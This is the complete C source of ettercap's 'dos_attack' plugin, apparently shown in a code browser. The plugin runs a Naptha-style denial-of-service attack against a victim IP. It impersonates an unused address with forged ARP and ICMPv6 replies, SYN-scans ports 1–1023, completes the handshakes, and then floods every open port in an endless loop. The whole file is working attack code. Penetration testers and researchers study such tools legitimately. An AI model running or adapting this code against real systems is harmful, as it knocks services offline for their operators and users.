1 /*
2 dos_attack -- ettercap plugin -- Run a D.O.S. attack (based on Naptha)
3
4 Copyright (C) ALoR & NaGA
5
6 This program is free software; you can redistribute it and/or modify
7 it under the terms of the GNU General Public License as published by
8 the Free Software Foundation; either version 2 of the License, or
9 (at your option) any later version.
10
11 This program is distributed in the hope that it will be useful,
12 but WITHOUT ANY WARRANTY; without even the implied warranty of
13 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 GNU General Public License for more details.
15
16 You should have received a copy of the GNU General Public License
17 along with this program; if not, write to the Free Software
18 Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
19
20 */
21
22
23 #include <ec.h> /* required for global variables */
24 #include <ec_plugins.h> /* required for plugin ops */
25 #include <ec_hook.h>
26 #include <ec_packet.h>
27 #include <ec_send.h>
28 #include <ec_threads.h>
29 #include <ec_sleep.h>
30
31 /* protos */
32 int plugin_load(void *);
33 static int dos_attack_init(void *);
34 static int dos_attack_fini(void *);
35 static void parse_arp(struct packet_object *po);
36
37 #ifdef WITH_IPV6
38 static void parse_icmp6(struct packet_object *po);
39 #endif
40 static void parse_tcp(struct packet_object *po);
41 EC_THREAD_FUNC(syn_flooder);
42
43 struct port_list {
44 u_int16 port;
45 SLIST_ENTRY(port_list) next;
46 };
47
48
49 /* globals */
50 static struct ip_addr fake_host;
51 static struct ip_addr victim_host;
52 SLIST_HEAD(, port_list) port_table;
53
54 /* plugin operations */
55 struct plugin_ops dos_attack_ops = {
56 /* ettercap version MUST be the global EC_VERSION */
57 .ettercap_version = EC_VERSION,
58 /* the name of the plugin */
59 .name = "dos_attack",
60 /* a short description of the plugin (max 50 chars) */
61 .info = "Run a d.o.s. attack against an IP address",
62 /* the plugin version. */
63 .version = "1.0",
64 /* activation function */
65 .init = &dos_attack_init,
66 /* deactivation function */
67 .fini = &dos_attack_fini,
68 };
69
70 /**********************************************************/
71
72 /* this function is called on plugin load */
plugin_load(void * handle)73 int plugin_load(void *handle)
74 {
75 return plugin_register(handle, &dos_attack_ops);
76 }
77
78 /******************* STANDARD FUNCTIONS *******************/
79
dos_attack_init(void * dummy)80 static int dos_attack_init(void *dummy)
81 {
82 char dos_addr[MAX_ASCII_ADDR_LEN];
83 char unused_addr[MAX_ASCII_ADDR_LEN];
84 struct port_list *p;
85
86 /* variable not used */
87 (void) dummy;
88
89 /* It doesn't work if unoffensive */
90 if (EC_GBL_OPTIONS->unoffensive) {
91 INSTANT_USER_MSG("dos_attack: plugin doesn't work in UNOFFENSIVE mode\n");
92 return PLUGIN_FINISHED;
93 }
94
95 /* don't show packets while operating */
96 EC_GBL_OPTIONS->quiet = 1;
97
98 memset(dos_addr, 0, sizeof(dos_addr));
99 memset(unused_addr, 0, sizeof(dos_addr));
100
101 ui_input("Insert victim IP: ", dos_addr, sizeof(dos_addr), NULL);
102 if (ip_addr_pton(dos_addr, &victim_host) == -E_INVALID) {
103 INSTANT_USER_MSG("dos_attack: Invalid IP address.\n");
104 return PLUGIN_FINISHED;
105 }
106
107 ui_input("Insert unused IP: ", unused_addr, sizeof(unused_addr), NULL);
108 if (ip_addr_pton(unused_addr, &fake_host) == -E_INVALID) {
109 INSTANT_USER_MSG("dos_attack: Invalid IP address.\n");
110 return PLUGIN_FINISHED;
111 }
112
113 if(victim_host.addr_type != fake_host.addr_type) {
114 INSTANT_USER_MSG("dos_attack: Address' families don't match.\n");
115 return PLUGIN_FINISHED;
116 }
117
118 INSTANT_USER_MSG("dos_attack: Starting scan against %s [Fake Host: %s]\n", dos_addr, unused_addr);
119
120 /* Delete the "open" port list just in case of previous executions */
121 while (!SLIST_EMPTY(&port_table)) {
122 p = SLIST_FIRST(&port_table);
123 SLIST_REMOVE_HEAD(&port_table, next);
124 SAFE_FREE(p);
125 }
126
127 /* Add the hook to "create" the fake host */
128 if(ntohs(fake_host.addr_type) == AF_INET)
129 hook_add(HOOK_PACKET_ARP_RQ, &parse_arp);
130 #ifdef WITH_IPV6
131 else if(ntohs(fake_host.addr_type) == AF_INET6)
132 hook_add(HOOK_PACKET_ICMP6_NSOL, &parse_icmp6);
133 #endif
134
135 /* Add the hook for SYN-ACK reply */
136 hook_add(HOOK_PACKET_TCP, &parse_tcp);
137
138 /* create the flooding thread */
139 ec_thread_new("golem", "SYN flooder thread", &syn_flooder, NULL);
140
141 return PLUGIN_RUNNING;
142 }
143
144
dos_attack_fini(void * dummy)145 static int dos_attack_fini(void *dummy)
146 {
147 pthread_t pid;
148
149 /* variable not used */
150 (void) dummy;
151
152 /* Remove the hooks */
153 hook_del(HOOK_PACKET_ARP_RQ, &parse_arp);
154 hook_del(HOOK_PACKET_TCP, &parse_tcp);
155
156 pid = ec_thread_getpid("golem");
157
158 /* the thread is active or not ? */
159 if (!pthread_equal(pid, ec_thread_getpid(NULL)))
160 ec_thread_destroy(pid);
161
162 INSTANT_USER_MSG("dos_attack: plugin terminated...\n");
163
164 return PLUGIN_FINISHED;
165 }
166
167 /*********************************************************/
168
169 /*
170 * This thread first sends SYN packets to some ports (a little port scan)
171 * then starts to flood active ports with other SYN packets.
172 */
EC_THREAD_FUNC(syn_flooder)173 EC_THREAD_FUNC(syn_flooder)
174 {
175 u_int16 sport = 0xe77e, dport;
176 u_int32 seq = 0xabadc0de;
177 struct port_list *p;
178
179 /* variable not used */
180 (void) EC_THREAD_PARAM;
181
182 /* init the thread and wait for start up */
183 ec_thread_init();
184
185 /* First "scan" ports from 1 to 1024 */
186 for (dport=1; dport<1024; dport++) {
187 send_tcp(&fake_host, &victim_host, sport++, htons(dport), seq++, 0, TH_SYN, NULL, 0);
188 ec_usleep(1000);
189 }
190
191 INSTANT_USER_MSG("dos_attack: Starting attack...\n");
192
193 /* Continue flooding open ports */
194 LOOP {
195 CANCELLATION_POINT();
196
197 SLIST_FOREACH(p, &port_table, next)
198 send_tcp(&fake_host, &victim_host, sport++, p->port, seq++, 0, TH_SYN, NULL, 0);
199
200 ec_usleep(1000);
201 }
202
203 return NULL;
204 }
205
206 /* Parse the arp packets and reply for the fake host */
parse_arp(struct packet_object * po)207 static void parse_arp(struct packet_object *po)
208 {
209 if (!ip_addr_cmp(&fake_host, &po->L3.dst))
210 send_arp(ARPOP_REPLY, &po->L3.dst, EC_GBL_IFACE->mac, &po->L3.src, po->L2.src);
211 }
212
213 #ifdef WITH_IPV6
parse_icmp6(struct packet_object * po)214 static void parse_icmp6(struct packet_object *po)
215 {
216 struct ip_addr ip;
217 ip_addr_init(&ip, AF_INET6, po->L4.options);
218 if(!ip_addr_cmp(&fake_host, &ip))
219 send_L2_icmp6_nadv(&fake_host, &po->L3.src, EC_GBL_IFACE->mac, 0, po->L2.src);
220 }
221 #endif
222
223 /*
224 * Populate the open port list and reply to
225 * SYN-ACK packets from victim host
226 */
parse_tcp(struct packet_object * po)227 static void parse_tcp(struct packet_object *po)
228 {
229 struct port_list *p;
230
231 /* Check if it's a reply to our SYN flooding */
232 if (ip_addr_cmp(&fake_host, &po->L3.dst) ||
233 ip_addr_cmp(&victim_host, &po->L3.src) ||
234 po->L4.flags != (TH_SYN | TH_ACK))
235 return;
236
237 /* Complete the handshake with an ACK */
238 send_tcp(&fake_host, &victim_host, po->L4.dst, po->L4.src, po->L4.ack, htonl( ntohl(po->L4.seq) + 1), TH_ACK, NULL, 0);
239
240 /* Check if the port is already in the "open" list... */
241 SLIST_FOREACH(p, &port_table, next)
242 if (p->port == po->L4.src)
243 return;
244
245 /* If not...put it in */
246 SAFE_CALLOC(p, 1, sizeof(struct port_list));
247 p->port = po->L4.src;
248 SLIST_INSERT_HEAD(&port_table, p, next);
249
250 INSTANT_USER_MSG("dos_attack: Port %d added\n", ntohs(p->port));
251 }
252
253 /* EOF */
254
255 // vim:ts=3:expandtab
256
257